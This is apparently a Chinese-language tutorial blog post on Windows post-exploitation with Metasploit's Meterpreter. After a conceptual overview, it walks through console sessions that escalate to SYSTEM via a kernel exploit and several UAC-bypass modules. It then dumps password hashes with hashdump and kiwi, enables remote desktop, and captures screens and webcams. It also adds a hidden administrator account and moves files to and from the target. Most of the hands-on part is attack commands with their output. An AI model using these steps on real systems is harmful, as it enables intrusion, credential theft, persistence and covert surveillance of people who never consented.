系统提权与数据窃取
- 一、后渗透
- 二、后渗透的技术
- 2.1、提权
- 2.2、横向移动
- 2.3、持久化
- 2.4、数据窃取
- 2.5、漏洞利用
- 三、meterpreter后渗透
- 3.1、靶机权限提升
- 3.1.1、windows内核/服务漏洞
- 3.1.2、bypassUAC
- 3.1.2.1、`bypassuac` 进程注入
- 3.1.2.2、`bypassuac_injection` 内存注入
- 3.1.2.3、`bypassuac_fodhelper` 通过FodHelper注册表项
- 3.2、密码获取凭证
- 3.3、其他操作
注:前期木马上线的内容可以看博客: 后门木马生成与上线
一、后渗透
后渗透是指攻击者在成功入侵一个系统后,使用各种技术和工具进行深度渗透、控制和维持对该系统的访问和控制权。后渗透技术包括提权、横向移动、持久化、数据窃取、漏洞利用等,攻击者可以利用这些技术和工具深入系统内部,并获取系统中的敏感信息、提高攻击者的权限、绕过防御措施等。
后渗透技术的出现,使得攻击者在入侵一个系统后,可以更加灵活、深入地控制和利用该系统,从而达到更加隐蔽和持久的攻击效果。对于防
御者来说,了解后渗透技术的原理和方法,可以帮助他们更好地发现、防御和回应攻击事件。
二、后渗透的技术
2.1、提权
提权是指攻击者在入侵一个系统后,通过利用漏洞或者获取管理员权限等方式,提升攻击者的权限,从而获得更高的控制权。
常见的提权方式包括:
(1)漏洞提权:攻击者通过利用系统中的漏洞,获取系统管理员权限,从而提升自己的权限。
(2)密码提权:攻击者通过获取系统管理员的登录名和密码,从而提升自己的权限。
(3)Token提权:攻击者通过获取系统管理员的Token,从而提升自己的权限。
(4)服务提权:攻击者通过利用系统中的服务漏洞,获取系统管理员权限,从而提升自己的权限。
提权是一种复杂的过程,需要攻击者具有计算机安全方面的知识和技能。
以下是一些常见的提权技术:
- 操作系统漏洞:攻击者可以利用操作系统中的漏洞来提升他们的权限。例如,攻击者可能利用 Windows 中的漏洞来获得 SYSTEM 权限。
- 应用程序漏洞:攻击者可以利用应用程序中的漏洞来提升他们的权限。例如,攻击者可能利用 web 应用程序漏洞来获得管理员权限。
- 社会工程学:攻击者可以使用社会工程学技术来欺骗用户或管理员,以获得他们的用户名和密码。例如,攻击者可能发起钓鱼攻击或利用弱口令的漏洞来获得管理员权限。
- 密码破解:攻击者可以使用密码破解工具来破解用户或管理员的密码,从而获得他们的权限。
- 提权工具:攻击者可以使用专门的提权工具来提升他们的权限。例如,Metasploit 工具包中有许多用于提权的模块。
提权对攻击者来说非常有用,因为它允许攻击者获得比当前权限更高的权限,从而访问和控制更多的系统资源和敏感数据。以下是一些攻击者可能想要提权的原因:
1、访问敏感数据:攻击者可能想要访问系统中存储的敏感数据,例如个人身份数据、财务记录或商业机密。
2、执行系统命令:攻击者可能想要执行系统命令来控制目标系统,例如安装恶意软件、修改系统设置或删除文件。
3、突破网络隔离:攻击者可能想要突破网络隔离以访问其他系统,例如攻击跨越多个 VLAN 的网络。
4、防止检测:攻击者可能想要提权以避免被检测到,例如避免防病毒软件或安全日志记录。
5、扩大攻击面:攻击者可能想要提权以扩大攻击面,例如攻击其他系统或网络。
2.2、横向移动
横向移动是指攻击者在入侵一个系统后,通过利用系统内部的漏洞或者获取其他用户的登录名和密码等方式,从一个系统进入另一个
系统,进而攻击其他系统。横向移动可以帮助攻击者更加深入地渗透目标系统,获取更多的敏感信息。
常见的横向移动技术包括:
(1)Pass the Hash:攻击者通过获取其他用户的Hash值,从而获取其他用户的权限,从而在其他系统中实现横向移动。
(2)SMB Relay:攻击者通过伪造SMB服务器,引诱其他用户连接,从而获取其他用户的登录名和密码,实现横向移动。
(3)SSH隧道:攻击者通过建立SSH隧道,从而穿越防火墙,实现横向移动。
2.3、持久化
持久化是指攻击者在入侵一个系统后,通过安装后门、修改系统配置等方式,使得攻击者可以随时访问该系统,并且不容易被发现。持久化可以让攻击者长期控制目标系统,获取更多的敏感信息。
常见的持久化技术包括:
(1)后门:攻击者通过安装后门,使得攻击者可以随时访问目标系统,并且不容易被发现。
(2)启动项:攻击者通过修改系统的启动项,使得攻击者可以在系统启动时自动运行恶意程序。
(3)服务:攻击者通过安装服务,使得攻击者可以在系统启动时自动运行恶意程序。
2.4、数据窃取
数据窃取是指攻击者在入侵一个系统后,通过获取系统中的敏感信息,例如用户名、密码、银行卡信息、企业机密等等。数据窃取可以帮助攻击者获取更多的财务利益或者商业机密。
常见的数据窃取技术包括:
(1)键盘记录器:攻击者通过安装键盘记录器,记录用户在系统中输入的所有信息,从而获取用户的账号和密码等敏感信息。
(2)网络嗅探:攻击者通过网络嗅探,截取网络中的数据包,从而获取用户的登录名和密码等敏感信息。
(3)文件下载:攻击者通过下载目标系统中的敏感文件,例如银行卡信息、企业机密等,从而获取更多的敏感信息。
2.5、漏洞利用
漏洞利用是指攻击者在入侵一个系统后,通过利用系统中的漏洞,实现对系统的控制和访问。漏洞利用可以帮助攻击者绕过防御措
施,获取更高的权限,从而达到更加深入的攻击效果。
常见的漏洞利用技术包括:
(1)缓冲区溢出:攻击者通过向系统中输入过量数据,使得系统的缓冲区溢出,从而实现对系统的控制和访问。
(2)SQL注入:攻击者通过向系统中输入恶意SQL语句,从而获取系统中的敏感信息,例如管理员账号和密码等。
(3)文件包含:攻击者通过向系统中输入恶意路径,从而实现对系统中的文件进行读取和修改。
三、meterpreter后渗透
Meterpreter是Metasploit框架的一个扩展模块,我们可以调用Metasploit的一些功能,对目标主机系统进行更加深入的渗透,这些功能诸如反追踪、密码哈希值获取、特权提升、跳板攻击等。
3.1、靶机权限提升
提权的前提条件:
- 拥有普通用户权限
- 拥有某些软件的账号密码
- 本地或远程服务器上存在漏洞
- 拥有漏洞利用工具代码
假设前提:已经获得shell,但是权限不够,无法获得hash值。
3.1.1、windows内核/服务漏洞
post/multi/recon/local_exploit_suggester
#检测漏洞时,需要注意meterpreter位数,如64位系统使用32位meterpreter,可能检测失败
1、这里已经成功获得shell,先保存会话background
,以便后续使用。
meterpreter > background
[*] Backgrounding session 1...
2、开始使用模块。
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester)>show options
msf6 post(multi/recon/local_exploit_suggester)>set session 1
session =>1
msf6 post(multi/recon/local_exploit_suggester)>run
3、运行结果。(绿色的为可能可以利用的模块,红色的为不可以利用的模块)
4、随机选取一个模块进行利用。
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_014_wmi_recv_notif
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > options
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > set session 1
session => 1
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > run
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
5、继续保存会话。
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > sessions #查看会话
6、回到会话1。
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > sessions 1
7、利用系统自带的提权工具进行提权。
meterpreter > getsystem
8、提权失败,为什么?
原因是:UAC
3.1.2、bypassUAC
1、UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
2、为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)。
- 在meterpreter shell界面,我们可以通过shell命令,进入cmd命令提示符,使用net user查看当前用户,发现当前用户实际是在管理组administrators组中,那为什么还提权不了呢?
- 原来,windows操作系统在vista以后增加了一个UAC的功能,英文全称User Access Control,该功能对管理员组的用户起到一定限制,进而保护计算机安全。
- 当我们需要运行一些重要的程序,只有管理员权限才能运行的程序时,UAC功能都会弹出一个对话框,对用户进行询问,当用户点击了同意按钮,程序才会以管理员或system权限运行。
- 因此,我们要想提权成功,首先要绕过windows的UAC限制,下面是常用的绕过UAC的套路。
1、绕过UAC的方法:
- 白名单提权机制;
- DLL劫持;
- Windows自身漏洞提权;
- 远程注入;
- COM接口技术。
- 计划任务
- 路径欺骗。
- 其余的如通过计划任务、路径欺骗等方式不算入绕过,因为经过了用户确认。
2、手动关闭uac:
控制面板-〉用户账户一〉用户账户-〉更改用户账户控制设置
3、meterpreter绕过uac的模块:
exploit/windows/local/ask
exploit/windows/local/bypassuac #bypassuac进程注入
exp|oit/windows/local/bypassuac_injection #bypassuac_injection内存注入
exploit/windows/local/bypassuac_fodhelper #通过FodHelper注册表项
exploit/windows/local/bypassuac_eventvwr #通过Eventvwr注册表项)
exploit/windows/local/bypassuac_comhijack #COM处理程序劫持
exploit/windows/local/bypassuac_vbs
3.1.2.1、bypassuac
进程注入
原理:通过进程注入使可信任发布者证书绕过Windows UAC。生成关闭UAC标志的第二个shell。
1、使用模块。
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > use exploit/windows/local/bypassuac
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac) > options
msf6 exploit(windows/local/bypassuac) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac) > run
2、发现还是原来的权限,没有进行提权。为什么?
- 得到的shell只是绕过了UAC,没有进行提权。
3、使用getsystem
进行提权。
4、提权成功,保存为会话3。
5、hashdump
获得账号密码,使用kiwi
进行解密。
6、使用远程桌面。
rdesktop 对方的IP地址
7、若是目标主机的远程桌面没有开启,则无法使用远程桌面连接目标主机。
8、使用MSF开启目标远程桌面(3389端口)
msf6 exploit(windows/local/bypassuac_injection) > search enable_rdp
msf6 exploit(windows/local/bypassuac_injection) > use 0
msf6 post(windows/manage/enable_rdp) > options
msf6 post(windows/manage/enable_rdp) > set session 3
session => 3
msf6 post(windows/manage/enable_rdp) > run
9、成功打开目标主机远程桌面服务。
3.1.2.2、bypassuac_injection
内存注入
原理: 此模块通过内存注入使用可信任的发布者证书绕过UAC(该模块需要选择正确的体系架构) 反射式DLL注入技术
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > run
3.1.2.3、bypassuac_fodhelper
通过FodHelper注册表项
原理: 通过当前用户配置单元下劫持注册表中特殊的键并插入将在启动Windows时间查看器 / fodhelper.exe应用程序时调用自定义命令来绕过UAC。(这两个模块调用注册表项在调用payload清除该项,不需要payload的体系架构和操作系统匹配!)
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > run
3.2、密码获取凭证
1、这是在提权成功的基础上可以进行的
meterpreter hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
anthus:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
meterpreter >run post/windows/gather/smart_hashdump
meterpreter >load kiwi #系统位数是64,需获取64位meterpreter
meterpreter >creds_all
3.3、其他操作
-
meterpreter > shel l
开启命令行 -
chcp
解决windows中文乱码- chcp 65001
- CHCP是一个计算机指令,能够显示或设置活动代码页编号。
- 65001 UTF-8代码页
- 950 繁体中文
- 936 简体中文默认的GBK
- 437 MS-D0S 美国英语
-
屏幕截图
meterpreter >screenshot
Screenshot saved to:/root/YyvMKsxQ.jpeg
- 屏幕监控
meterpreter >screenshare
[*]Prepar ing player.··
[*]Opening player at:/root/zwFBRDUK.html
[*]Streaming..·
- 摄像头监控
meterpreter >webcam_list
meterpreter webcam_snap
meterpreter webcam_stream
- 添加用户
shel l
net user hacker$ 123456 /add && net localgroup administrators hacker$ /add
net user
net user hacker
- 读取文件
meterpreter >cat "C:\phpstudy\PHPTutorial\WWW\index.php"
- 上传文件
meterpreter >upload /a.txt C:\\phpstudy\\PHPTutorial\\WWW\\
[*]uploading :/a.txt -C:\phpstudy\PHPTutor ial\WWW\
[*]uploaded :/a.txt -C:\phpstudy\PHPTutor ial\WWW\\a.txt
- 删除文件
meterpreter >rm C:\\phpstudy\\PHPTutorial\WWW\\a.txt
- 下载文件
meterpreter >download "C:\phpstudy\PHPTutorial\WWW\index.php"
[*]Downloading:C:\phpstudy\PHPTutorial\WWW\index.php -> index.php
[*]Downloaded 734.00 B of 734.00 B (100.0%):C:\phpstudy\PHPTutor ial\WWW\index.php -> index.php
[*]download C:\phpstudy\PHPTutorial\WWW\index.php -> index.php